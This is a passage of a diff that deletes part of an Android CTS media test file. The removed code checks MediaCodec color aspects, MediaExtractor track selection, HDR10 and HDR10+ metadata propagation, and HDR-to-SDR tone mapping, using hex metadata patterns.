-        ByteBuffer[] buf = dec.getInputBuffers();
-        ex.selectTrack(0);
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        boolean sawInputEOS = false;
-        boolean getOutputFormat = false;
-        boolean rangeMatch = false;
-        boolean colorMatch = false;
-        boolean transferMatch = false;
-        int colorRange = 0;
-        int colorStandard = 0;
-        int colorTransfer = 0;
-
-        while (true) {
-            if (!sawInputEOS) {
-                int flags = ex.getSampleFlags();
-                long time = ex.getSampleTime();
-                int bufidx = dec.dequeueInputBuffer(200 * 1000);
-                if (bufidx >= 0) {
-                    int n = ex.readSampleData(buf[bufidx], 0);
-                    if (n < 0) {
-                        flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                        sawInputEOS = true;
-                        n = 0;
-                    }
-                    dec.queueInputBuffer(bufidx, 0, n, time, flags);
-                    ex.advance();
-                } else {
-                    assertEquals(
-                            "codec.dequeueInputBuffer() unrecognized return value: " + bufidx,
-                            MediaCodec.INFO_TRY_AGAIN_LATER, bufidx);
-                }
-            }
-
-            int status = dec.dequeueOutputBuffer(info, sawInputEOS ? 3000 * 1000 : 100 * 1000);
-            if (status == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat fmt = dec.getOutputFormat();
-                colorRange = fmt.containsKey("color-range") ? fmt.getInteger("color-range") : 0;
-                colorStandard = fmt.containsKey("color-standard") ? fmt.getInteger("color-standard") : 0;
-                colorTransfer = fmt.containsKey("color-transfer") ? fmt.getInteger("color-transfer") : 0;
-                rangeMatch = colorRange == expectRange;
-                colorMatch = colorStandard == expectStandard;
-                transferMatch = colorTransfer == expectTransfer;
-                getOutputFormat = true;
-                // Test only needs to check the color format in the first format changed event.
-                break;
-            } else if (status >= 0) {
-                // Test should get at least one format changed event before getting first frame.
-                assertTrue(getOutputFormat == true);
-                break;
-            } else {
-                assertFalse(
-                        "codec.dequeueOutputBuffer() timeout after seeing input EOS",
-                        status == MediaCodec.INFO_TRY_AGAIN_LATER && sawInputEOS);
-            }
-        }
-
-        String reportName = decoderName + "_colorAspectsTest Test " + testId +
-                " (Get R: " + colorRange + " S: " + colorStandard + " T: " + colorTransfer + ")" +
-                " (Expect R: " + expectRange + " S: " + expectStandard + " T: " + expectTransfer + ")";
-        Log.d(TAG, reportName);
-
-        DeviceReportLog log = new DeviceReportLog("CtsMediaTestCases", "color_aspects_test");
-        log.addValue("decoder_name", decoderName, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValue("test_id", testId, ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValues(
-                "rst_actual", new int[] { colorRange, colorStandard, colorTransfer },
-                ResultType.NEUTRAL, ResultUnit.NONE);
-        log.addValues(
-                "rst_expected", new int[] { expectRange, expectStandard, expectTransfer },
-                ResultType.NEUTRAL, ResultUnit.NONE);
-
-        if (rangeMatch && colorMatch && transferMatch) {
-            log.setSummary("result", 1, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
-        } else {
-            log.setSummary("result", 0, ResultType.HIGHER_BETTER, ResultUnit.COUNT);
-        }
-        log.submit(getInstrumentation());
-
-        assertTrue(rangeMatch && colorMatch && transferMatch);
-
-        dec.release();
-        ex.release();
-    }
-
-    private void testTrackSelection(final String res) throws Exception {
-        MediaExtractor ex1 = new MediaExtractor();
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        try {
-            ex1.setDataSource(mInpPrefix + res);
-
-            ByteBuffer buf1 = ByteBuffer.allocate(1024*1024);
-            ArrayList<Integer> vid = new ArrayList<Integer>();
-            ArrayList<Integer> aud = new ArrayList<Integer>();
-
-            // scan the file once and build lists of audio and video samples
-            ex1.selectTrack(0);
-            ex1.selectTrack(1);
-            while(true) {
-                int n1 = ex1.readSampleData(buf1, 0);
-                if (n1 < 0) {
-                    break;
-                }
-                int idx = ex1.getSampleTrackIndex();
-                if (idx == 0) {
-                    vid.add(n1);
-                } else if (idx == 1) {
-                    aud.add(n1);
-                } else {
-                    fail("unexpected track index: " + idx);
-                }
-                ex1.advance();
-            }
-
-            // read the video track once, then rewind and do it again, and
-            // verify we get the right samples
-            ex1.release();
-            ex1 = new MediaExtractor();
-            ex1.setDataSource(mInpPrefix + res);
-            ex1.selectTrack(0);
-            for (int i = 0; i < 2; i++) {
-                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                int idx = 0;
-                while(true) {
-                    int n1 = ex1.readSampleData(buf1, 0);
-                    if (n1 < 0) {
-                        assertEquals(vid.size(), idx);
-                        break;
-                    }
-                    assertEquals(vid.get(idx++).intValue(), n1);
-                    ex1.advance();
-                }
-            }
-
-            // read the audio track once, then rewind and do it again, and
-            // verify we get the right samples
-            ex1.release();
-            ex1 = new MediaExtractor();
-            ex1.setDataSource(mInpPrefix + res);
-            ex1.selectTrack(1);
-            for (int i = 0; i < 2; i++) {
-                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                int idx = 0;
-                while(true) {
-                    int n1 = ex1.readSampleData(buf1, 0);
-                    if (n1 < 0) {
-                        assertEquals(aud.size(), idx);
-                        break;
-                    }
-                    assertEquals(aud.get(idx++).intValue(), n1);
-                    ex1.advance();
-                }
-            }
-
-            // read the video track first, then rewind and get the audio track instead, and
-            // verify we get the right samples
-            ex1.release();
-            ex1 = new MediaExtractor();
-            ex1.setDataSource(mInpPrefix + res);
-            for (int i = 0; i < 2; i++) {
-                ex1.selectTrack(i);
-                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                int idx = 0;
-                while(true) {
-                    int n1 = ex1.readSampleData(buf1, 0);
-                    if (i == 0) {
-                        if (n1 < 0) {
-                            assertEquals(vid.size(), idx);
-                            break;
-                        }
-                        assertEquals(vid.get(idx++).intValue(), n1);
-                    } else if (i == 1) {
-                        if (n1 < 0) {
-                            assertEquals(aud.size(), idx);
-                            break;
-                        }
-                        assertEquals(aud.get(idx++).intValue(), n1);
-                    } else {
-                        fail("unexpected track index: " + idx);
-                    }
-                    ex1.advance();
-                }
-                ex1.unselectTrack(i);
-            }
-
-            // read the video track first, then rewind, enable the audio track in addition
-            // to the video track, and verify we get the right samples
-            ex1.release();
-            ex1 = new MediaExtractor();
-            ex1.setDataSource(mInpPrefix + res);
-            for (int i = 0; i < 2; i++) {
-                ex1.selectTrack(i);
-                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                int vididx = 0;
-                int audidx = 0;
-                while(true) {
-                    int n1 = ex1.readSampleData(buf1, 0);
-                    if (n1 < 0) {
-                        // we should have read all audio and all video samples at this point
-                        assertEquals(vid.size(), vididx);
-                        if (i == 1) {
-                            assertEquals(aud.size(), audidx);
-                        }
-                        break;
-                    }
-                    int trackidx = ex1.getSampleTrackIndex();
-                    if (trackidx == 0) {
-                        assertEquals(vid.get(vididx++).intValue(), n1);
-                    } else if (trackidx == 1) {
-                        assertEquals(aud.get(audidx++).intValue(), n1);
-                    } else {
-                        fail("unexpected track index: " + trackidx);
-                    }
-                    ex1.advance();
-                }
-            }
-
-            // read both tracks from the start, then rewind and verify we get the right
-            // samples both times
-            ex1.release();
-            ex1 = new MediaExtractor();
-            ex1.setDataSource(mInpPrefix + res);
-            for (int i = 0; i < 2; i++) {
-                ex1.selectTrack(0);
-                ex1.selectTrack(1);
-                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                int vididx = 0;
-                int audidx = 0;
-                while(true) {
-                    int n1 = ex1.readSampleData(buf1, 0);
-                    if (n1 < 0) {
-                        // we should have read all audio and all video samples at this point
-                        assertEquals(vid.size(), vididx);
-                        assertEquals(aud.size(), audidx);
-                        break;
-                    }
-                    int trackidx = ex1.getSampleTrackIndex();
-                    if (trackidx == 0) {
-                        assertEquals(vid.get(vididx++).intValue(), n1);
-                    } else if (trackidx == 1) {
-                        assertEquals(aud.get(audidx++).intValue(), n1);
-                    } else {
-                        fail("unexpected track index: " + trackidx);
-                    }
-                    ex1.advance();
-                }
-            }
-
-        } finally {
-            if (ex1 != null) {
-                ex1.release();
-            }
-        }
-    }
-
-    private static final String VP9_HDR_RES = "video_1280x720_vp9_hdr_static_3mbps.mkv";
-    private static final String VP9_HDR_STATIC_INFO =
-            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-            "40 e8 03 64 00 e8 03 2c  01                     " ;
-
-    private static final String AV1_HDR_RES = "video_1280x720_av1_hdr_static_3mbps.webm";
-    private static final String AV1_HDR_STATIC_INFO =
-            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-            "40 e8 03 64 00 e8 03 2c  01                     " ;
-
-    // Expected value of MediaFormat.KEY_HDR_STATIC_INFO key.
-    // The associated value is a ByteBuffer. This buffer contains the raw contents of the
-    // Static Metadata Descriptor (including the descriptor ID) of an HDMI Dynamic Range and
-    // Mastering InfoFrame as defined by CTA-861.3.
-    // Media frameworks puts the display primaries in RGB order, here we verify the three
-    // primaries are indeed in this order and fail otherwise.
-    private static final String H265_HDR10_RES = "video_1280x720_hevc_hdr10_static_3mbps.mp4";
-    private static final String H265_HDR10_STATIC_INFO =
-            "00 d0 84 80 3e c2 33 c4  86 4c 1d b8 0b 13 3d 42" +
-            "40 e8 03 00 00 e8 03 90  01                     " ;
-
-    private static final String VP9_HDR10PLUS_RES = "video_bikes_hdr10plus.webm";
-    private static final String VP9_HDR10PLUS_STATIC_INFO =
-            "00 4c 1d b8 0b d0 84 80  3e c0 33 c4 86 12 3d 42" +
-            "40 e8 03 32 00 e8 03 c8  00                     " ;
-    // TODO: Use some manually extracted metadata for now.
-    // MediaExtractor currently doesn't have an API for extracting
-    // the dynamic metadata. Get the metadata from extractor when
-    // it's supported.
-    private static final String[] VP9_HDR10PLUS_DYNAMIC_INFO = new String[] {
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
-            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
-            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00" ,
-    };
-
-    private static final String H265_HDR10PLUS_RES = "video_h265_hdr10plus.mp4";
-    private static final String H265_HDR10PLUS_STATIC_INFO =
-            "00 4c 1d b8 0b d0 84 80  3e c2 33 c4 86 13 3d 42" +
-            "40 e8 03 32 00 e8 03 c8  00                     " ;
-    private static final String[] H265_HDR10PLUS_DYNAMIC_INFO = new String[] {
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0f 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00" ,
-
-            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
-            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 a1" +
-            "90 03 9a 58 0b 6a d0 23  2a f8 40 8b 18 9c 18 00" +
-            "40 78 13 64 cf 78 ed cc  bf 5a de f9 8e c7 c3 00"
-    };
-
-    @CddTest(requirement="5.3.7")
-    public void testVp9HdrStaticMetadata() throws Exception {
-        testHdrStaticMetadata(VP9_HDR_RES, VP9_HDR_STATIC_INFO,
-                true /*metadataInContainer*/);
-    }
-
-    @CddTest(requirement="5.3.9")
-    public void testAV1HdrStaticMetadata() throws Exception {
-        testHdrStaticMetadata(AV1_HDR_RES, AV1_HDR_STATIC_INFO,
-                false /*metadataInContainer*/);
-    }
-
-    @CddTest(requirement="5.3.5")
-    public void testH265HDR10StaticMetadata() throws Exception {
-        testHdrStaticMetadata(H265_HDR10_RES, H265_HDR10_STATIC_INFO,
-                false /*metadataInContainer*/);
-    }
-
-    @CddTest(requirement="5.3.7")
-    public void testVp9Hdr10PlusMetadata() throws Exception {
-        testHdrMetadata(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_STATIC_INFO,
-                VP9_HDR10PLUS_DYNAMIC_INFO, true /*metadataInContainer*/);
-    }
-
-    @CddTest(requirement="5.3.5")
-    public void testH265Hdr10PlusMetadata() throws Exception {
-        testHdrMetadata(H265_HDR10PLUS_RES, H265_HDR10PLUS_STATIC_INFO,
-                H265_HDR10PLUS_DYNAMIC_INFO, false /*metadataInContainer*/);
-    }
-
-    private void testHdrStaticMetadata(final String res, String staticInfo,
-            boolean metadataInContainer) throws Exception {
-        testHdrMetadata(res, staticInfo, null /*dynamicInfo*/, metadataInContainer);
-    }
-
-    private void testHdrMetadata(final String res,
-            String staticInfo, String[] dynamicInfo, boolean metadataInContainer)
-            throws Exception {
-        AssetFileDescriptor infd = null;
-        MediaExtractor extractor = null;
-        final boolean dynamic = dynamicInfo != null;
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        try {
-            extractor = new MediaExtractor();
-            extractor.setDataSource(mInpPrefix + res);
-
-            MediaFormat format = null;
-            int trackIndex = -1;
-            for (int i = 0; i < extractor.getTrackCount(); i++) {
-                format = extractor.getTrackFormat(i);
-                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
-                    trackIndex = i;
-                    break;
-                }
-            }
-
-            assertTrue("Extractor failed to extract video track",
-                    format != null && trackIndex >= 0);
-            if (metadataInContainer) {
-                verifyHdrStaticInfo("Extractor failed to extract static info", format, staticInfo);
-            }
-
-            extractor.selectTrack(trackIndex);
-            Log.v(TAG, "format " + format);
-
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            // setting profile and level
-            if (MediaFormat.MIMETYPE_VIDEO_HEVC.equals(mime)) {
-                if (!dynamic) {
-                    assertEquals("Extractor set wrong profile",
-                        MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10,
-                        format.getInteger(MediaFormat.KEY_PROFILE));
-                } else {
-                    // Extractor currently doesn't detect HDR10+, set to HDR10+ manually
-                    format.setInteger(MediaFormat.KEY_PROFILE,
-                            MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10Plus);
-                }
-            } else if (MediaFormat.MIMETYPE_VIDEO_VP9.equals(mime)) {
-                // The muxer might not have put VP9 CSD in the mkv, we manually patch
-                // it here so that we only test HDR when decoder supports it.
-                format.setInteger(MediaFormat.KEY_PROFILE,
-                        dynamic ? MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR10Plus
-                                : MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR);
-            } else if (MediaFormat.MIMETYPE_VIDEO_AV1.equals(mime)) {
-                // The muxer might not have put AV1 CSD in the webm, we manually patch
-                // it here so that we only test HDR when decoder supports it.
-                format.setInteger(MediaFormat.KEY_PROFILE,
-                        MediaCodecInfo.CodecProfileLevel.AV1ProfileMain10HDR10);
-            } else {
-                fail("Codec " + mime + " shouldn't be tested with this test!");
-            }
-            String[] decoderNames = MediaUtils.getDecoderNames(format);
-
-            int numberOfSupportedHdrTypes =
-                    mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
-                            .getSupportedHdrTypes().length;
-
-            if (decoderNames == null || decoderNames.length == 0
-                    || numberOfSupportedHdrTypes == 0) {
-                MediaUtils.skipTest("No video codecs supports HDR");
-                return;
-            }
-
-            final Surface surface = getActivity().getSurfaceHolder().getSurface();
-            final MediaExtractor finalExtractor = extractor;
-
-            for (String name : decoderNames) {
-                Log.d(TAG, "Testing candicate decoder " + name);
-                CountDownLatch latch = new CountDownLatch(1);
-                extractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
-
-                MediaCodec decoder = MediaCodec.createByCodecName(name);
-                decoder.setCallback(new MediaCodec.Callback() {
-                    boolean mInputEOS;
-                    boolean mOutputReceived;
-                    int mInputCount;
-                    int mOutputCount;
-
-                    @Override
-                    public void onOutputBufferAvailable(
-                            MediaCodec codec, int index, BufferInfo info) {
-                        if (mOutputReceived) {
-                            return;
-                        }
-
-                        MediaFormat bufferFormat = codec.getOutputFormat(index);
-                        Log.i(TAG, "got output buffer: format " + bufferFormat);
-
-                        verifyHdrStaticInfo("Output buffer has wrong static info",
-                                bufferFormat, staticInfo);
-
-                        if (!dynamic) {
-                            codec.releaseOutputBuffer(index,  true);
-
-                            mOutputReceived = true;
-                            latch.countDown();
-                        } else {
-                            ByteBuffer hdr10plus =
-                                    bufferFormat.containsKey(MediaFormat.KEY_HDR10_PLUS_INFO)
-                                    ? bufferFormat.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO)
-                                    : null;
-
-                            verifyHdrDynamicInfo("Output buffer has wrong hdr10+ info",
-                                    bufferFormat, dynamicInfo[mOutputCount]);
-
-                            codec.releaseOutputBuffer(index,  true);
-
-                            mOutputCount++;
-                            if (mOutputCount >= dynamicInfo.length) {
-                                mOutputReceived = true;
-                                latch.countDown();
-                            }
-                        }
-                    }
-
-                    @Override
-                    public void onInputBufferAvailable(MediaCodec codec, int index) {
-                        // keep queuing until intput EOS, or first output buffer received.
-                        if (mInputEOS || mOutputReceived) {
-                            return;
-                        }
-
-                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
-
-                        if (finalExtractor.getSampleTrackIndex() == -1) {
-                            codec.queueInputBuffer(
-                                    index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                            mInputEOS = true;
-                        } else {
-                            int size = finalExtractor.readSampleData(inputBuffer, 0);
-                            long timestamp = finalExtractor.getSampleTime();
-                            finalExtractor.advance();
-
-                            if (dynamic && metadataInContainer) {
-                                final Bundle params = new Bundle();
-                                // TODO: extractor currently doesn't extract the dynamic metadata.
-                                // Send in the test pattern for now to test the metadata propagation.
-                                byte[] info = loadByteArrayFromString(dynamicInfo[mInputCount]);
-                                params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
-                                codec.setParameters(params);
-                                mInputCount++;
-                                if (mInputCount >= dynamicInfo.length) {
-                                    mInputEOS = true;
-                                }
-                            }
-                            codec.queueInputBuffer(index, 0, size, timestamp, 0);
-                        }
-                    }
-
-                    @Override
-                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
-                        Log.e(TAG, "got codec exception", e);
-                    }
-
-                    @Override
-                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-                        Log.i(TAG, "got output format: " + format);
-                        verifyHdrStaticInfo("Output format has wrong static info",
-                                format, staticInfo);
-                    }
-                });
-                decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
-                decoder.start();
-                try {
-                    assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));
-                } catch (InterruptedException e) {
-                    fail("playback interrupted");
-                }
-                decoder.stop();
-                decoder.release();
-            }
-        } finally {
-            if (extractor != null) {
-                extractor.release();
-            }
-        }
-    }
-
-    private void verifyHdrStaticInfo(String reason, MediaFormat format, String pattern) {
-        ByteBuffer staticMetadataBuffer = format.containsKey("hdr-static-info") ?
-                format.getByteBuffer("hdr-static-info") : null;
-        assertTrue(reason + ": empty",
-                staticMetadataBuffer != null && staticMetadataBuffer.remaining() > 0);
-        assertTrue(reason + ": mismatch",
-                Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array()));
-    }
-
-    private void verifyHdrDynamicInfo(String reason, MediaFormat format, String pattern) {
-        ByteBuffer hdr10PlusInfoBuffer = format.containsKey(MediaFormat.KEY_HDR10_PLUS_INFO) ?
-                format.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO) : null;
-        assertTrue(reason + ":empty",
-                hdr10PlusInfoBuffer != null && hdr10PlusInfoBuffer.remaining() > 0);
-        assertTrue(reason + ": mismatch",
-                Arrays.equals(loadByteArrayFromString(pattern), hdr10PlusInfoBuffer.array()));
-    }
-
-    // helper to load byte[] from a String
-    private byte[] loadByteArrayFromString(final String str) {
-        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
-        Matcher matcher = pattern.matcher(str);
-        // allocate a large enough byte array first
-        byte[] tempArray = new byte[str.length() / 2];
-        int i = 0;
-        while (matcher.find()) {
-          tempArray[i++] = (byte)Integer.parseInt(matcher.group(), 16);
-        }
-        return Arrays.copyOfRange(tempArray, 0, i);
-    }
-
-    public void testVp9HdrToSdr() throws Exception {
-        testHdrToSdr(VP9_HDR_RES, null /* dynamicInfo */,
-                true /*metadataInContainer*/);
-    }
-
-    public void testAV1HdrToSdr() throws Exception {
-        testHdrToSdr(AV1_HDR_RES, null /* dynamicInfo */,
-                false /*metadataInContainer*/);
-    }
-
-    public void testH265HDR10ToSdr() throws Exception {
-        testHdrToSdr(H265_HDR10_RES, null /* dynamicInfo */,
-                false /*metadataInContainer*/);
-    }
-
-    public void testVp9Hdr10PlusToSdr() throws Exception {
-        testHdrToSdr(VP9_HDR10PLUS_RES, VP9_HDR10PLUS_DYNAMIC_INFO,
-                true /*metadataInContainer*/);
-    }
-
-    public void testH265Hdr10PlusToSdr() throws Exception {
-        testHdrToSdr(H265_HDR10PLUS_RES, H265_HDR10PLUS_DYNAMIC_INFO,
-                false /*metadataInContainer*/);
-    }
-
-    private static boolean DEBUG_HDR_TO_SDR_PLAY_VIDEO = false;
-    private static final String INVALID_HDR_STATIC_INFO =
-            "00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00" +
-            "00 00 00 00 00 00 00 00  00                     " ;
-
-    private void testHdrToSdr(final String res,
-            String[] dynamicInfo, boolean metadataInContainer)
-            throws Exception {
-        AssetFileDescriptor infd = null;
-        MediaExtractor extractor = null;
-        MediaCodec decoder = null;
-        HandlerThread handlerThread = new HandlerThread("MediaCodec callback thread");
-        handlerThread.start();
-        final boolean dynamic = dynamicInfo != null;
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        try {
-            extractor = new MediaExtractor();
-            extractor.setDataSource(mInpPrefix + res);
-
-            MediaFormat format = null;
-            int trackIndex = -1;
-            for (int i = 0; i < extractor.getTrackCount(); i++) {
-                format = extractor.getTrackFormat(i);
-                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
-                    trackIndex = i;
-                    break;
-                }
-            }
-
-            extractor.selectTrack(trackIndex);
-            Log.v(TAG, "format " + format);
-
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            // setting profile and level
-            if (MediaFormat.MIMETYPE_VIDEO_HEVC.equals(mime)) {
-                if (!dynamic) {
-                    assertEquals("Extractor set wrong profile",
-                        MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10,
-                        format.getInteger(MediaFormat.KEY_PROFILE));
-                } else {
-                    // Extractor currently doesn't detect HDR10+, set to HDR10+ manually
-                    format.setInteger(MediaFormat.KEY_PROFILE,
-                            MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10Plus);
-                }
-            } else if (MediaFormat.MIMETYPE_VIDEO_VP9.equals(mime)) {
-                // The muxer might not have put VP9 CSD in the mkv, we manually patch
-                // it here so that we only test HDR when decoder supports it.
-                format.setInteger(MediaFormat.KEY_PROFILE,
-                        dynamic ? MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR10Plus
-                                : MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR);
-            } else if (MediaFormat.MIMETYPE_VIDEO_AV1.equals(mime)) {
-                // The muxer might not have put AV1 CSD in the webm, we manually patch
-                // it here so that we only test HDR when decoder supports it.
-                format.setInteger(MediaFormat.KEY_PROFILE,
-                        MediaCodecInfo.CodecProfileLevel.AV1ProfileMain10HDR10);
-            } else {
-                fail("Codec " + mime + " shouldn't be tested with this test!");
-            }
-            format.setInteger(
-                    MediaFormat.KEY_COLOR_TRANSFER_REQUEST, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
-            String[] decoderNames = MediaUtils.getDecoderNames(format);
-
-            if (decoderNames == null || decoderNames.length == 0) {
-                MediaUtils.skipTest("No video codecs supports HDR");
-                return;
-            }
-
-            final Surface surface = getActivity().getSurfaceHolder().getSurface();
-            final MediaExtractor finalExtractor = extractor;
-
-            for (String name : decoderNames) {
-                Log.d(TAG, "Testing candicate decoder " + name);
-                CountDownLatch latch = new CountDownLatch(1);
-                extractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
-
-                decoder = MediaCodec.createByCodecName(name);
-                decoder.setCallback(new MediaCodec.Callback() {
-                    boolean mInputEOS;
-                    boolean mOutputReceived;
-                    int mInputCount;
-                    int mOutputCount;
-
-                    @Override
-                    public void onOutputBufferAvailable(
-                            MediaCodec codec, int index, BufferInfo info) {
-                        if (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
-                            return;
-                        }
-
-                        MediaFormat bufferFormat = codec.getOutputFormat(index);
-                        Log.i(TAG, "got output buffer: format " + bufferFormat);
-
-                        assertEquals("unexpected color transfer for the buffer",
-                                MediaFormat.COLOR_TRANSFER_SDR_VIDEO,
-                                bufferFormat.getInteger(MediaFormat.KEY_COLOR_TRANSFER, 0));
-                        ByteBuffer staticInfo = bufferFormat.getByteBuffer(
-                                MediaFormat.KEY_HDR_STATIC_INFO, null);
-                        if (staticInfo != null) {
-                            assertTrue(
-                                    "Buffer should not have a valid static HDR metadata present",
-                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
-                                                  staticInfo.array()));
-                        }
-                        ByteBuffer hdr10PlusInfo = bufferFormat.getByteBuffer(
-                                MediaFormat.KEY_HDR10_PLUS_INFO, null);
-                        if (hdr10PlusInfo != null) {
-                            assertEquals(
-                                    "Buffer should not have a valid dynamic HDR metadata present",
-                                    0, hdr10PlusInfo.remaining());
-                        }
-
-                        if (!dynamic) {
-                            codec.releaseOutputBuffer(index,  true);
-
-                            mOutputReceived = true;
-                            latch.countDown();
-                        } else {
-                            codec.releaseOutputBuffer(index,  true);
-
-                            mOutputCount++;
-                            if (mOutputCount >= dynamicInfo.length) {
-                                mOutputReceived = true;
-                                latch.countDown();
-                            }
-                        }
-                    }
-
-                    @Override
-                    public void onInputBufferAvailable(MediaCodec codec, int index) {
-                        // keep queuing until input EOS, or first output buffer received.
-                        if (mInputEOS || (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO)) {
-                            return;
-                        }
-
-                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
-
-                        if (finalExtractor.getSampleTrackIndex() == -1) {
-                            codec.queueInputBuffer(
-                                    index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                            mInputEOS = true;
-                        } else {
-                            int size = finalExtractor.readSampleData(inputBuffer, 0);
-                            long timestamp = finalExtractor.getSampleTime();
-                            finalExtractor.advance();
-
-                            if (dynamic && metadataInContainer) {
-                                final Bundle params = new Bundle();
-                                // TODO: extractor currently doesn't extract the dynamic metadata.
-                                // Send in the test pattern for now to test the metadata propagation.
-                                byte[] info = loadByteArrayFromString(dynamicInfo[mInputCount]);
-                                params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
-                                codec.setParameters(params);
-                                mInputCount++;
-                                if (mInputCount >= dynamicInfo.length) {
-                                    mInputEOS = true;
-                                }
-                            }
-                            codec.queueInputBuffer(index, 0, size, timestamp, 0);
-                        }
-                    }
-
-                    @Override
-                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
-                        Log.e(TAG, "got codec exception", e);
-                    }
-
-                    @Override
-                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-                        Log.i(TAG, "got output format: " + format);
-                        ByteBuffer staticInfo = format.getByteBuffer(
-                                MediaFormat.KEY_HDR_STATIC_INFO, null);
-                        if (staticInfo != null) {
-                            assertTrue(
-                                    "output format should not have a valid " +
-                                    "static HDR metadata present",
-                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
-                                                  staticInfo.array()));
-                        }
-                    }
-                }, new Handler(handlerThread.getLooper()));
-                decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
-                int transferRequest = decoder.getInputFormat().getInteger(
-                        MediaFormat.KEY_COLOR_TRANSFER_REQUEST, 0);
-                if (transferRequest == 0) {
-                    Log.i(TAG, name + " does not support HDR to SDR tone mapping");
-                    decoder.release();
